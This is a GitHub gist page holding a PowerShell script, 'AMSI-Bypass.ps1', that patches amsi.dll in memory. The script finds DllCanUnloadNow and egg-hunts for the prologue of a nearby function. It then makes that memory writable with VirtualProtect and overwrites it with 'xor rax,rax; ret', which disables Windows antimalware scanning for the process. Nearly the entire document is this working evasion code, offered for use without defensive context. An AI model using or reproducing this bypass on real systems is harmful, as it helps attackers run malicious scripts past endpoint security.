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@amonsec amonsec/AMSI-Bypass.ps1 Secret
Last active Jul 29, 2019

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Write-Host "-- AMSI Patch"
Write-Host "-- Paul Laîné (@am0nsec)"
Write-Host ""
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Kernel32
Class Hunter {
static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
while ($true) {
[int]$count = 0
while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
return $address
}
}
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"
[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"
If ([IntPtr]::Size -eq 8) {
Write-Host "[+] 64-bits process"
[byte[]]$egg = [byte[]] (
0x4C, 0x8B, 0xDC, # mov r11,rsp
0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx
0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp
0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi
0x57, # push rdi
0x41, 0x56, # push r14
0x41, 0x57, # push r15
0x48, 0x83, 0xEC, 0x70 # sub rsp,70h
)
} Else {
Write-Host "[+] 32-bits process"
[byte[]]$egg = [byte[]] (
0x8B, 0xFF, # mov edi,edi
0x55, # push ebp
0x8B, 0xEC, # mov ebp,esp
0x83, 0xEC, 0x18, # sub esp,18h
0x53, # push ebx
0x56 # push esi
)
}
[IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address: $targetedAddress"
$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null
$patch = [byte[]] (
0x31, 0xC0, # xor rax, rax
0xC3 # ret
)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)
$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null
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